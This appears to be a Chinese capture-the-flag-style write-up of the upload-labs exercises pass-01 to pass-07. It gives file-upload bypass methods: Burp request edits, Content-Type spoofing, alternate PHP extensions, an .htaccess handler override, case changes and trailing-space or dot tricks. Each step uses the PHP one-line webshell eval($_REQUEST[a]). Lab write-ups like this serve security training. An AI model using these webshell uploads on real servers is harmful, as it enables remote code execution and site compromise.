解析、截断、验证、伪造上传-1
文件上传步骤
上传到缓存目录=》通过php代码指导,移动到存放文件的地方+重命名
前端验证
- 前端代码是在浏览器上运行的,通过burp进行数据包修改达到绕过
pass-01
查看源码,发现使用前端验证,只允许.jpg|.png|.gif
上传
编写简单的一句话木马,将后缀修改为允许通过的文件类型,通过burp修改文件后缀达成绕过;<?php eval($_REQUEST[a]);?>
pass-02
Content-Type方式绕过
Content-Type:用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件
第二题属于后端验证,只允许Content-Type头为image/jpeg|image/png|
的文件
编写简单php一句话木马
`<?php eval($_REQUEST[a]);?>
通过BURP修改Content-Type信息达到绕过
pass-03
黑名单绕过:存在黑名单内的文件类型不允许上传
jsp|jspx|jspf 会被当做jsp运行
asp|asa|cer|aspx 会被当做asp运行
php|php3|php4|php5|phtml 会被当做php运行
exe|exee 会被当做exe执行
查看源码发现 不允许上传.asp,.aspx,.php,.jsp后缀文件,可尝试使用其他可被执行的后缀进行
如何区分黑白名单机制,上传任意后缀文件,能上传属于黑名单机制,不能上传属于白名单机制
编写简单php一句话木马,将后缀改为phtml文件<?php eval($_REQUEST[a]);?>
pass-04
.htaccess文件绕过
- 当rewrite模块开启,配置文件httpd.conf如下时,apache服务器会将所有.jpg为后缀的文件作为php文件解析。
<Directory />
Options FollowSymLinks
AllowOverride All
AddType application/x-httpd-php .jpg #将.jpg后缀的文件作为PHP文件解析
</Directory>
- 当上传.htaccess文件到upload目录时,upload目录下的文件会按其配置生效解析
.htaccess文件内容
AddType application/x-httpd-php .jpg
- 这样配置有一个问题,apache会将所有的.jpg后缀的文件当作php文件解析,这样会明显影响系统的功能,改进代码如下,这样系统就只对文件名包含“info.png”字符串的文件进行解析,例如aaainfo.jpg,aaainfo.jpgxsdf,aaainfo.png.txt。
<FilesMatch "info.png">
setHandler application/x-httpd-php
</FilesMatch>
- 再次改进
<FilesMatch "^info.png$">
setHandler application/x-httpd-php
</FilesMatch>
漏洞形成条件
- apache服务器
- 能够上传.htaccess文件,一般为黑名单限制。
- AllowOverride All,默认配置为关闭None。
- LoadModule rewrite_module modules/mod_rewrite.so #模块为开启状态
- 上传目录具有可执行权限。
先上传.htaccess文件;
<FilesMatch "^info.jpg$">
setHandler application/x-httpd-php
</FilesMatch>
在上传图片码
<?php eval($_REQUEST[a]);?>
pass-05
查看源码发现.htaccess文件被禁用了,但是发现php文件的大小写没有禁用,通过创建后缀为.PHP
文件绕过
<?php eval($_REQUEST[a]);?>
pass-06
文件后缀(空)绕过(windows中)
查看源码发现全转成小写,可以尝试通过文件后缀加空格的方式绕过
创建后缀为.PHP
文件绕过,或burp修改后缀
<?php eval($_REQUEST[a]);?>
pass-07
文件后缀(点)绕过(windows中)
查看源码发现首位去空格,可以尝试通过文件后缀加点的方式绕过
创建后缀为.PHP .
文件绕过,或burp修改后缀
<?php eval($_REQUEST[a]);?>
- 点赞
- 收藏
- 关注作者
评论(0)